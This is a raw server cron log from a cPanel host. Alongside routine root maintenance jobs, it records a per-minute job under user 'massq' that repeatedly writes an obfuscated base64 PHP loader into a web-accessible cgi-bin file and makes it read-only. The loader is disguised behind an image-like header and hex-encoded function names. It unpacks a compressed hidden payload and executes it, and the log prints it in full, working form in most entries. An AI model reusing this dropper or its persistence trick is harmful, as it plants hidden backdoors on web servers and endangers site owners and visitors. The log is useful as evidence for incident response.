Sep  8 08:15:01 server CROND[19607]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 08:15:01 server CROND[19605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:15:01 server CROND[19610]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:16:01 server CROND[20547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:16:01 server CROND[20548]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:16:01 server CROND[20549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:17:01 server CROND[20933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:17:01 server CROND[20934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:17:01 server CROND[20935]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:18:01 server CROND[21369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:18:01 server CROND[21370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:18:01 server CROND[21371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:19:01 server CROND[21749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:19:01 server CROND[21750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:19:01 server CROND[21751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:20:01 server CROND[22192]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:20:01 server CROND[22194]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 08:20:01 server CROND[22197]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 08:20:01 server CROND[22198]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:20:01 server CROND[22199]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 08:20:01 server CROND[22201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:20:01 server CROND[22202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:20:01 server CROND[22200]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 08:20:01 server CROND[22204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:21:01 server CROND[23302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:21:01 server CROND[23303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:21:01 server CROND[23304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:22:01 server CROND[23686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:22:01 server CROND[23687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:22:01 server CROND[23688]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:23:01 server CROND[24063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:23:01 server CROND[24064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:23:01 server CROND[24065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:24:01 server CROND[24446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:24:01 server CROND[24447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:24:01 server CROND[24449]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:25:01 server CROND[24833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:25:01 server CROND[24834]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:25:02 server CROND[24838]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 08:25:02 server CROND[24842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:25:02 server CROND[24839]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 08:25:02 server CROND[24837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:25:02 server CROND[24841]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:25:02 server CROND[24840]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 08:26:01 server CROND[25761]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:26:01 server CROND[25762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:26:01 server CROND[25763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:27:01 server CROND[26158]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:27:01 server CROND[26159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:27:01 server CROND[26160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:27:01 server CROND[26162]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
